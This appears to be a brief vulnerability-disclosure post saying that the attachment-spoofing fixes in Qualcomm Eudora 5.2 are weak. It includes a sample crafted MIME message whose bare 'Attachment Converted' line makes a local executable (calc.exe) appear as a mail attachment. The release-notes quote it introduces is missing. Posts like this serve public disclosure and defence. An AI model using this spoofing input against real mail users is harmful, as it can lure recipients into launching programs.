Qualcomm Eudora 5.2 has been released recently. Quoting from
http://www.eudora.com/download/eudora/windows/5.2/RelNotes.txt :

Those fixes are not very robust. Attachments can still be spoofed, e.g.
with message:
MIME-Version: 1.0
From: me
To: you
Content-Type: multipart/mixed; boundary="xyz"
It does not seem to matter much what MIME boundary we use,
a "bare" spoofed attachment line is NOT prefixed with #?
Attachment Converted: "c:\winnt\system32\calc.exe"
Never mind that the text comes out all funny...
Any other tricks we can play?
